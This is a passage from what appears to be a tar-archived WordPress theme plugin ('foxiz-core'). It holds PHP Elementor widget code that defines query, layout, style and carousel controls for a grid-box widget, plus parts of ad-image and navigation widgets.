'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_get_ad_image' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); $settings['no_spacing'] = true; if ( ! empty( $settings['image']['id'] ) ) { $medata = wp_get_attachment_metadata( $settings['image']['id'] ); if ( ! empty( $medata['width'] ) && ! empty( $medata['height'] ) ) { $settings['image']['width'] = $medata['width']; $settings['image']['height'] = $medata['height']; } } echo \foxiz_get_ad_image( $settings ); } } }elementor/grid-box-2.php000064400000100616147206624460011140 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '3', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); if ( 'rb-etemplate' === get_post_type() ) { $this->start_controls_section( 'archive-builder-section', array( 'label' => esc_html__( 'Archive Builder - Global Query', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'archive_builder_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_unique_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_unique_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_available_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_available_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_pagination_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_pagination_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_total_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_total_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_admin_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_admin_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'query_mode', array( 'label' => esc_html__( 'Query Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::query_mode_description(), 'options' => array( '0' => esc_html__( 'Use Custom Query (default)', 'foxiz-core' ), 'global' => esc_html__( 'Use WP Global Query', 'foxiz-core' ), ), 'default' => '0', ) ); $this->add_control( 'builder_pagination', array( 'label' => esc_html__( 'WP Global Query Pagination', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::archive_pagination_description(), 'options' => Options::archive_builder_pagination_dropdown(), 'default' => 'number' ) ); $this->end_controls_section(); } $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::extended_entry_category_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta_bar', array( 'label' => esc_html__( 'Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_meta_description(), 'options' => Options::entry_meta_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => '' ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown(), 'default' => '0', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown(), 'default' => '0', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt', array( 'label' => esc_html__( 'Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_description(), 'options' => Options::excerpt_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'counter_section', array( 'label' => esc_html__( 'Counter', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'counter', array( 'label' => esc_html__( 'Show Counter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::counter_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'counter_set', array( 'label' => esc_html__( 'Counter Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_set_description(), 'selectors' => array( '{{WRAPPER}} .block-wrap' => 'counter-increment: trend-counter {{VALUE}};', ), ) ); $this->add_responsive_control( 'counter_size', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .counter-el:before' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to all sections, depending on column settings.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'box_section', array( 'label' => esc_html__( 'Boxed Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'box_style', array( 'label' => esc_html__( 'Boxed Layout', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::box_style_description(), 'options' => Options::box_style_dropdown(), 'default' => '0', ) ); $this->add_control( 'box_color', array( 'label' => esc_html__( 'Box Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => Options::box_color_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap .grid-box' => '--box-color: {{VALUE}};' ), ) ); $this->add_control( 'dark_box_color', array( 'label' => esc_html__( 'Dark - Box Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => Options::box_dark_color_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap .grid-box' => '--dark-box-color: {{VALUE}};' ), ) ); $this->add_responsive_control( 'box_padding', array( 'label' => esc_html__( 'Box Padding', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--box-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'center_mode', array( 'label' => esc_html__( 'Centering Content', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::center_mode_description(), 'options' => Options::switch_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); $this->start_controls_section( 'carousel_section', array( 'label' => esc_html__( 'Carousel Mode', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'carousel_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The ajax pagination setting will be not available if the carousel mode is activated.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'carousel', array( 'label' => esc_html__( 'Carousel', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_mode_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_responsive_control( 'carousel_columns', array( 'label' => esc_html__( 'Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_columns_description(), 'default' => '', ) ); $this->add_control( 'carousel_wide_columns', array( 'label' => esc_html__( 'Wide Screen - Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::wide_carousel_columns_description(), 'default' => '', ) ); $this->add_responsive_control( 'carousel_gap', array( 'label' => esc_html__( 'Carousel Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_gap_description(), 'default' => '', ) ); $this->add_control( 'carousel_dot', array( 'label' => esc_html__( 'Pagination Dot', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_dot_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'carousel_nav', array( 'label' => esc_html__( 'Next/Prev', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_nav_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_responsive_control( 'carousel_footer_margin', array( 'label' => esc_html__( 'Nav Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_nav_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .slider-footer' => 'margin-top: {{VALUE}}px;' ), ) ); $this->add_control( 'slider_play', array( 'label' => esc_html__( 'Auto Play Next Slides', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_autoplay_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_responsive_control( 'slider_speed', array( 'label' => esc_html__( 'Auto Play Speed', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_speed_description(), 'default' => '', ) ); $this->add_control( 'slider_fmode', array( 'label' => esc_html__( 'Carousel Free Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_freemode_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_control( 'slider_centered', array( 'label' => esc_html__( 'Centered Sliders', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_centered_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_grid_box_2' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_grid_box_2( $settings ); } } }elementor/navigation.php000064400000031435147206624460011427 0ustar00start_controls_section( 'general_section', array( 'label' => esc_html__( 'Menu Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $menus = $this->get_menus(); $this->add_control( 'main_menu', array( 'label' => esc_html__( 'Assign Menu', 'foxiz-core' ), 'description' => esc_html__( 'Select a menu for your website.', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'multiple' => false, 'options' => $menus, 'default' => ! empty( array_keys( $menus )[0] ) ? array_keys( $menus )[0] : '', 'save_default' => true, ) ); $this->end_controls_section(); $this->start_controls_section( 'sticky-stitle-section', array( 'label' => esc_html__( 'Sticky Headline Bar', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'stitle_sticky_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This feature requests to enable the "Single Headline Sticky" setting in the wrapper section in order to work.', 'foxiz' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'stitle_display_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The single tagline will only appear in the single post.', 'foxiz' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'sticky_stitle', array( 'label' => esc_html__( 'Sticky Single headline', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Replace menu by post heading when scrolling in the single post page.', 'foxiz-core' ), 'options' => array( '0' => esc_html__( '- Disable -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ) ), 'default' => '0' ) ); $this->end_controls_section(); $this->start_controls_section( 'style-section', array( 'label' => esc_html__( 'Style Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'menu_height', array( 'label' => esc_html__( 'Menu Height', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input custom height value (px) for this menu. Default is 60.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}}' => '--nav-height: {{VALUE}}px;' ), ) ); $this->add_control( 'menu_item_spacing', array( 'label' => esc_html__( 'Item Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom spacing between menu item. Default is 12.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}}' => '--menu-item-spacing: {{VALUE}}px;' ), ) ); $this->add_control( 'align', array( 'label' => esc_html__( 'Alignment', 'foxiz-core' ), 'type' => Controls_Manager::CHOOSE, 'options' => array( 'flex-start' => array( 'title' => esc_html__( 'Left', 'foxiz-core' ), 'icon' => 'eicon-align-start-h', ), 'center' => array( 'title' => esc_html__( 'Center', 'foxiz-core' ), 'icon' => 'eicon-align-center-h', ), 'flex-end' => array( 'title' => esc_html__( 'Right', 'foxiz-core' ), 'icon' => 'eicon-align-end-h', ), ), 'selectors' => array( '{{WRAPPER}} .main-menu-wrap' => 'justify-content: {{VALUE}};', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color-section', array( 'label' => esc_html__( 'Main Color Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'menu_color', array( 'label' => esc_html__( 'Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color for displaying in the navigation bar of this header.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}}' => '--nav-color: {{VALUE}}; --nav-color-10: {{VALUE}}1a;' ), ) ); $this->add_control( 'menu_hover_color', array( 'label' => esc_html__( 'Hover Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color when hovering.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}}' => '--nav-color-h: {{VALUE}};' ), ) ); $this->add_control( 'menu_hover_color_accent', array( 'label' => esc_html__( 'Hover Accent Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a accent color when hovering.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}}' => '--nav-color-h-accent: {{VALUE}};' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'sub-color-section', array( 'label' => esc_html__( 'Sub Menu Color Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'submenu_bg_from', array( 'label' => esc_html__( 'Sub Menu - Background Gradient (From)', 'foxiz-core' ), 'description' => esc_html__( 'Select a background color (color stop: 0%) for the sub menu dropdown section.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}}' => '--subnav-bg: {{VALUE}}; --subnav-bg-from: {{VALUE}};' ), ) ); $this->add_control( 'submenu_bg_to', array( 'label' => esc_html__( 'Sub Menu - Background Gradient (To)', 'foxiz-core' ), 'description' => esc_html__( 'Select a background color (color stop: 100%) for the sub menu dropdown 